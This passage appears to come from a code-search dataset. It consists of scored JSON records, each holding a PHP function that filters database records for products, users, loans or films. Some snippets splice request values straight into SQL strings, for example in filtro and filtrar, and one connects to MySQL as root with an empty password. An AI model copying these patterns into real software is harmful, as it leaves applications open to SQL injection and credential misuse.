-4) . ' ORDER BY plaats, naam';\n error_log($sql);\n $this->dbh->exec(\"SET CHARACTER SET utf8\");\n $sth = $this->dbh->prepare($sql);\n $sth->execute();\n $res = $sth->fetchAll(PDO::FETCH_ASSOC);\n return $res;\n }", "title": "" }, { "docid": "677c911f00abbc8a41fb464faf3f9613", "score": "0.6390973", "text": "private function exportar_filtro()\n {\n \tif($_SERVER['REQUEST_METHOD'] == \"POST\")\n\t\t{\n\t\t\t//seleciona somente entre as datas filtradas\n\t\t\t$dados_cadastro = $this->Delegator(\"ConcreteCadastro\", \"SelectCadastroFiltrar\", $this->getPost());\n\t\t\t\n\t\t\t//Leva o $dados_empresa para a view\n\t\t\t$this->View()->assign('dados_cadastro',$dados_cadastro);\n\n\t\t\t//Exibe a view\n\t\t\t$this->View()->display('filtro.php');\n\t\t}\n }", "title": "" }, { "docid": "dc1489d713dfec1e23542f75e8877d93", "score": "0.63884324", "text": "public function getProductsFiltered($start, $limit, $categoria, $fechaMin, $fechaMax, $textFilter): array {\n\n $categoria = intval($categoria);\n\n $sql = \"SELECT * FROM Productos order by Fecha LIMIT :start,:limit\";\n\n\n if (empty($fechaMin) && empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Soles categoria\n $sql = \"SELECT * FROM Productos where Categoria=:categoria order by Fecha LIMIT :start,:limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //TOT\n $sql = \"SELECT * FROM Productos where (Categoria=:categoria) and (Fecha BETWEEN :fechaMin AND :fechaMax) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start,:limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && empty($categoria)){ //Soles dates\n $sql =\"SELECT * FROM Productos where Fecha BETWEEN :fechaMin AND :fechaMax order by Fecha LIMIT :start,:limit\";\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Soles text\n $sql = \"SELECT * FROM Productos where Nombre LIKE :textFilter or Descripcion LIKE :textFilter2 order by Fecha LIMIT :start,:limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Text i dates\n $sql = \"SELECT * FROM Productos where (Fecha BETWEEN :fechaMin AND :fechaMax) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start,:limit\";\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //Sols categories i text\n $sql = \"SELECT * FROM Productos where (Categoria = :categoria) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start,:limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Sols categories i dates\n $sql = \"SELECT * FROM Productos where (Categoria = :categoria) and (Fecha BETWEEN :fechaMin AND :fechaMax) order by Fecha LIMIT :start,:limit\";\n\n }\n\n $result = $this->pdo->prepare($sql);\n\n if (empty($fechaMin) && empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Soles categoria\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //TOT\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && empty($categoria)){ //Soles dates\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Soles text\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Text i dates\n $textFilter = \"%\".$textFilter.\"%\";\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //Sols categories i text\n $textFilter = \"%\".$textFilter.\"%\";\n\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':textFilter', $textFilter, PDO::PARAM_STR);\n $result->bindParam(':textFilter2', $textFilter, PDO::PARAM_STR);\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Sols categories i dates\n $result->bindParam(':categoria', $categoria, PDO::PARAM_INT);\n $result->bindParam(':fechaMin', $fechaMin);\n $result->bindParam(':fechaMax', $fechaMax);\n }\n\n $result->bindParam(\":start\", $start, PDO::PARAM_INT);\n $result->bindParam(\":limit\", $limit, PDO::PARAM_INT);\n $result->execute();\n\n $productos = $result->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, $this->className);\n\n return $productos;\n\n }", "title": "" }, { "docid": "ba838107159e0faf84dcb5a28c9928a7", "score": "0.6377325", "text": "function filterResultado($con, $fechainicio, $fechafin)\n{\n $filter = [\n 'FECHA_RESULTADO' => ['$gte' => $fechainicio, '$lt' => $fechafin],\n ];\n $query = new MongoDB\\Driver\\Query($filter);\n $result = $con->executeQuery($GLOBALS['dbname'] . \".log_resultados_usuarios\", $query);\n $respuesta = $result->toArray();\n\n return $respuesta;\n\n}", "title": "" }, { "docid": "45010c24306f10e4160a91382181bf9f", "score": "0.63670594", "text": "private function generaFiltrosUsuarios(Request $request){\n\t\t$filtros = array ();\n\t\t$id \t = (int) $request->get('id') + 0;\n\t\t\n\t\t$idEmpresa = \"-1\";\n\t\tif(Session::get ('isAdmin')) {\n\t\t\tif($request->get ('empresa') != null && $request->get ('empresa') != '')\n\t\t\t\t$idEmpresa = $request->get ('empresa');\n\t\t} else {\n\t\t\t$idEmpresa = Session::get('userEnterprise');\n\t\t\t$filtros[] = ['users.idperfil', '!=', Constantes::PERFIL_ADMIN_GENERAL];\n\t\t\t$filtros[] = ['users.idperfil', '!=', Constantes::PERFIL_ADMIN_EMPRESA];\n\t\t}\n\t\t\t\n\t\t\n\t\t\n\t\t$idPerfil = (int) $request->get('idperfil') + 0;\n\t\t$activo = $request->get('activo');\n\t\t$email = trim(strtolower($request->get ('email')));\n\t\t$name = trim($request->get ('name'));\n\t\t\n\t\t\n\t\t\n if(Session::get ('isAdmin'))\t{\n $filtros[] = ['users.id', '>', Constantes::NOACTIVO];\n } else {\n $filtros[] = ['users.id', '>', Constantes::PERFIL_ADMIN_GENERAL];\n }\n\t\tif(trim($name) != ''){\n\t\t\t$filtros[] = ['users.name', 'LIKE', '%' . $name . '%'];\n\t\t}\n\t\tif(trim($email) != ''){\n\t\t\t$filtros[] = ['users.email', 'LIKE', '%' . $email . '%'];\n\t\t}\n\t\tif($id > 0){\n\t\t\t$filtros[] = ['users.id', '=',$id];\n\t\t}\n\t\tif(trim($activo) != '' && trim($activo) != '-1'){\n\t\t\t$filtros[] = ['users.activo', '=', $activo];\n\t\t}\n\t\tif(trim($idEmpresa) != '' && trim($idEmpresa) != '-1'){\n\t\t\t$filtros[] = ['users.idempresa', '=', $idEmpresa];\n\t\t}\n\t\tif((int) $idPerfil > 0){\n\t\t\t$filtros[] = ['users.idperfil', '=', $idPerfil];\n\t\t}\n\t\treturn $filtros;\n\t}", "title": "" }, { "docid": "2b625a39c58897cf834780dde9acc883", "score": "0.6366086", "text": "private function filtrar_horarios ($valor_filtro, $columna_filtro, $operador){\r\n foreach ($this->s__horarios_disponibles as $clave=>$valor){\r\n \r\n $dato=$this->obtener_opcion_busqueda($valor, $columna_filtro);\r\n \r\n $agregar_al_filtro=FALSE;\r\n switch($operador){\r\n case 'es_igual_a' : $tipo= gettype($valor_filtro);\r\n if(strcmp($tipo, 'String')==0){\r\n if(strcmp($valor_filtro , $dato)==0){\r\n $agregar_al_filtro=TRUE;\r\n }\r\n }else{\r\n if($valor_filtro == $dato){\r\n $agregar_al_filtro=TRUE;\r\n }\r\n } break;\r\n\r\n case 'es_distinto_de' : if($valor_filtro != $dato){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n case 'es_mayor_que' : if($dato > $valor_filtro){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n case 'es_mayor_igual_que' : if($dato >= $valor_filtro){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n case 'es_menor_que' : if($dato < $valor_filtro){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n case 'es_menor_igual_que' : if($dato <= $valor_filtro){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n case 'entre' : $hora_inicio=\"{$valor_filtro['desde']}:00\";\r\n $hora_fin=\"{$valor_filtro['hasta']}:00\";\r\n if(($dato >= $hora_inicio) && ($dato <= $hora_fin)){\r\n $agregar_al_filtro=TRUE;\r\n } break;\r\n\r\n default : print_r(\"La condicion de busqueda no se esta considerando string\"); break; \r\n }\r\n\r\n if($agregar_al_filtro){\r\n //--Agregamos el horario disponible al arreglo s__datos_filtrados. Se reutiliza la funcion\r\n //existe. \r\n if(!$this->existe($this->s__datos_filtrados, $valor)){\r\n //--Agregamos al final.\r\n $this->s__datos_filtrados[]=$valor;\r\n \r\n }\r\n\r\n }\r\n }\r\n }", "title": "" }, { "docid": "221a49b04a16608a222d83659ee4fc2a", "score": "0.63638973", "text": "public function filtro($id_solicitacao) {\n\n \n //Realiza a query diretamente por SQL\n $query = $this->db->query(\"select id_anexo,arquivo,data_cadastro,deletado from anexos where deletado = 0 and id_solicitacao = \".$id_solicitacao.\" order by id_anexo desc\");\n \n $list = $query->result_array();\n\n return $list;\n\n }", "title": "" }, { "docid": "f2748eae2465cf959d044bdcf723e94f", "score": "0.6346899", "text": "function filter($a) {}", "title": "" }, { "docid": "12ef21851e352f5d932d19810657beba", "score": "0.6346101", "text": "public function filtrar(&$filtro) {\n parent::filtrar($filtro);\n $filtro_sql = '';\n if ($filtro->filtro('id'))\n $filtro_sql .= \" AND {$this->getTableName()}.id like '%{$filtro->filtro('id')}%' \";\n if ($filtro->filtro('nombre'))\n $filtro_sql .= \" AND {$this->getTableName()}.nombre like '%{$filtro->filtro('nombre')}%' \";\n if ($filtro->filtro('descripcion'))\n $filtro_sql .= \" AND {$this->getTableName()}.descripcion like '%{$filtro->filtro('descripcion')}%' \";\n return $filtro_sql;\n }", "title": "" }, { "docid": "6f7c4ec9b59c20369a26dbabad53b3dd", "score": "0.6334135", "text": "function filterResultadosMes($con, $ano)\n{\n\n $filter = [\n 'FECHA_RESULTADO' => new MongoDB\\BSON\\Regex($ano, 'i'),\n ];\n $query = new MongoDB\\Driver\\Query($filter);\n $result = $con->executeQuery($GLOBALS['dbname'] . \".log_resultados_usuarios\", $query);\n $respuesta = $result->toArray();\n\n return $respuesta;\n\n}", "title": "" }, { "docid": "7571a896f6b911203d7aab518e59f5fc", "score": "0.63316447", "text": "public function filtroPrestamos(FiltrarPrestamoRequest $request)\n {\n\n if(request()->has('registros') && request('registros') != ''){\n $registros = request('registros');\n }else{\n $registros = 15;\n }\n\n if(request()->has('columna') && request('columna') != ''){\n $columna = request('columna');\n }else{\n $columna = 'created_at';\n }\n\n if(request()->has('orden') && request('orden') != ''){\n $orden = request('orden');\n }else{\n $orden = 'DESC';\n }\n\n $formas_pago = FormaPago::orderBy('nombre', 'ASC')->get();\n\n switch ($columna) {\n case 'apellido':\n $prestamos = Prestamo::orderBy('socios.apellido1', $orden)\n ->join('socios', 'prestamos.socio_id', '=', 'socios.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'nombre':\n $prestamos = Prestamo::orderBy('socios.nombre1', $orden)\n ->join('socios', 'prestamos.socio_id', '=', 'socios.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'rut':\n $prestamos = Prestamo::orderBy('socios.rut', $orden)\n ->join('socios', 'prestamos.socio_id', '=', 'socios.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'tipo_cuenta_id':\n $prestamos = Prestamo::orderBy('tipos_cuenta.nombre', $orden)\n ->join('cuentas', 'prestamos.cuenta_id', '=', 'cuentas.id')\n ->join('tipos_cuenta', 'cuentas.tipo_cuenta_id', '=', 'tipos_cuenta.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'numero':\n $prestamos = Prestamo::orderBy('cuentas.numero', $orden)\n ->join('cuentas', 'prestamos.cuenta_id', '=', 'cuentas.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'banco_id':\n $prestamos = Prestamo::orderBy('bancos.nombre', $orden)\n ->join('cuentas', 'prestamos.cuenta_id', '=', 'cuentas.id')\n ->join('bancos', 'cuentas.banco_id', '=', 'bancos.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'forma_pago_id':\n $prestamos = Prestamo::orderBy('formas_pago.nombre', $orden)\n ->join('formas_pago', 'prestamos.forma_pago_id', '=', 'formas_pago.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n case 'estado_deuda_id':\n $prestamos = Prestamo::orderBy('estados_deuda.nombre', $orden)\n ->join('estados_deuda', 'prestamos.estado_deuda_id', '=', 'estados_deuda.id')\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n default:\n $prestamos = Prestamo::orderBy($columna, $orden)\n ->estadoDeudaFiltro($request->estado_deuda_id)\n ->rutFiltro($request->rut)\n ->fechaSolicitudFiltro($request->fecha_solicitud_ini, $request->fecha_solicitud_fin)\n ->numeroEgresoFiltro($request->numero_egreso)\n ->numeroCuentaFiltro($request->cuenta_id)\n ->formaPagoFiltro($request->forma_pago_id)\n ->chequeFiltro($request->cheque)\n ->montoFiltro($request->monto)\n ->montosFiltro($request->monto_ini, $request->monto_fin)\n ->fechaPagoFiltro($request->fecha_pago_ini, $request->fecha_pago_fin)\n ->paginate($registros)->appends([\n 'registros' => $registros,\n 'columna' => $columna,\n 'orden' => $orden,\n 'fecha_solicitud_ini' => $request->fecha_solicitud_ini,\n 'fecha_solicitud_fin' => $request->fecha_solicitud_fin,\n 'fecha_pago_ini' => $request->fecha_pago_ini,\n 'fecha_pago_fin' => $request->fecha_pago_fin,\n 'monto_ini' => $request->monto_ini,\n 'monto_fin' => $request->monto_fin,\n 'numero_cuotas' => $request->numero_cuotas,\n 'forma_pago_id' => $request->forma_pago_id,\n 'cuenta_id' => $request->cuenta_id,\n 'estado_deuda_id' => $request->estado_deuda_id,\n 'rut' => $request->rut,\n 'numero_egreso' => $request->numero_egreso,\n 'cheque' => $request->cheque,\n 'monto' => $request->monto,\n ]);\n break;\n }\n\n $total_consulta = $prestamos->total();\n\n ($request->fecha_solicitud_ini) ? $fecha_solicitud_ini = $request->fecha_solicitud_ini : $fecha_solicitud_ini = 'null';\n ($request->fecha_solicitud_fin) ? $fecha_solicitud_fin = $request->fecha_solicitud_fin : $fecha_solicitud_fin = 'null';\n ($request->fecha_pago_ini) ? $fecha_pago_ini = $request->fecha_pago_ini : $fecha_pago_ini = 'null';\n ($request->fecha_pago_fin) ? $fecha_pago_fin = $request->fecha_pago_fin : $fecha_pago_fin = 'null';\n ($request->monto_ini) ? $monto_ini = $request->monto_ini : $monto_ini = 'null';\n ($request->monto_fin) ? $monto_fin = $request->monto_fin : $monto_fin = 'null';\n ($request->numero_cuotas) ? $numero_cuotas = $request->numero_cuotas : $numero_cuotas = 'null';\n ($request->forma_pago_id) ? $forma_pago_id = $request->forma_pago_id : $forma_pago_id = 'null';\n ($request->cuenta_id) ? $cuenta_id = $request->cuenta_id : $cuenta_id = 'null';\n ($request->estado_deuda_id) ? $estado_deuda_id = $request->estado_deuda_id : $estado_deuda_id = 'null';\n ($request->rut) ? $rut = $request->rut : $rut = 'null';\n ($request->numero_egreso) ? $numero_egreso = $request->numero_egreso : $numero_egreso = 'null';\n ($request->cheque) ? $cheque = $request->cheque : $cheque = 'null';\n ($request->monto) ? $monto = $request->monto : $monto = 'null';\n\n return view('sind1.prestamos.resultados', compact('prestamos', 'formas_pago', 'total_consulta', 'rut', 'fecha_solicitud_ini', 'fecha_solicitud_fin', 'monto_ini', 'monto_fin', 'forma_pago_id', 'fecha_pago_ini', 'fecha_pago_fin', 'numero_cuotas', 'cuenta_id', 'estado_deuda_id','numero_egreso','cheque','monto'));\n }", "title": "" }, { "docid": "0f4cf6d3539304d991ea90b91caa38e4", "score": "0.6330243", "text": "abstract protected function applyFilter($orm);", "title": "" }, { "docid": "cf53db0965ee24211c0d518368f078b4", "score": "0.63216656", "text": "function filtres($vs_genre1,$vs_genre2,$vs_search)\n{\n if($vs_genre1 === \"\" && $vs_genre2 !== \"\")\n {\n $reponse=selectFilmGenre2($vs_genre2);\n }\n //recupere les films correspondant au genre 1 si il est selectionne\n else if($vs_genre1 !== \"\" && $vs_genre2 === \"\")\n {\n $reponse=selectFilmGenre1($vs_genre1);\n }\n //recupere les films correspondant au genre 1 et du genre2\n else if($vs_genre1 !== \"\" && $vs_genre2 !== \"\")\n {\n $reponse=selectFilmGenres($vs_genre1,$vs_genre2);\n }\n //si aucun genre n'est selectionne verifie si une expression est recherchee\n else if(trim($vs_search) !== \"\")\n {\n $reponse=research($vs_search);\n }\n //renvoie les infos de tous les films\n else\n {\n $bdd = new PDO('mysql:host=localhost;dbname=toseelist;charset=utf8', 'root', '');\n $reponse = $bdd->query('SELECT film.idfilm,titre, affiche,resume,date,isEnfant FROM film;');\n }\n return $reponse;\n}", "title": "" }, { "docid": "c701b5e397e425d8c7558e5aba3b067e", "score": "0.63214797", "text": "public function getProductsByUserFiltered($start, $limit, $user, $categoria, $fechaMin, $fechaMax, $textFilter): array {\n\n $idUser = $user->getId();\n $categoria = intval($categoria);\n\n $productos = \"\";\n\n $sql = \"SELECT * FROM Productos WHERE Usuario = :usuario order by Fecha LIMIT :start, :limit\";\n\n if (empty($fechaMin) && empty($fechaMax) && empty($textFilter) && !empty($categoria)){ //Sols categoria\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Categoria=:categoria) order by Fecha LIMIT :start, :limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && !empty($categoria)){ //TOT\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Categoria=:categoria) and (Fecha BETWEEN :fechaMin AND :fechaMax) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start, :limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && empty($textFilter) && empty($categoria)){ //Sols dates\n $sql =\"SELECT * FROM Productos where (Usuario = :usuario) and (Fecha BETWEEN :fechaMin AND :fechaMax) order by Fecha LIMIT :start, :limit\";\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Sols text\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start, :limit\";\n\n }elseif(!empty($fechaMin) && !empty($fechaMax) && !empty($textFilter) && empty($categoria)){ //Sols dates i text\n $sql = \"SELECT * FROM Productos where (Usuario = :usuario) and (Fecha BETWEEN :fechaMin AND :fechaMax) and (Nombre LIKE :textFilter or Descripcion LIKE :textFilter2) order by Fecha LIMIT :start, :limit\";\n\n }elseif(empty($fechaMin) && empty($fechaMax) && !empty($textFilter) && 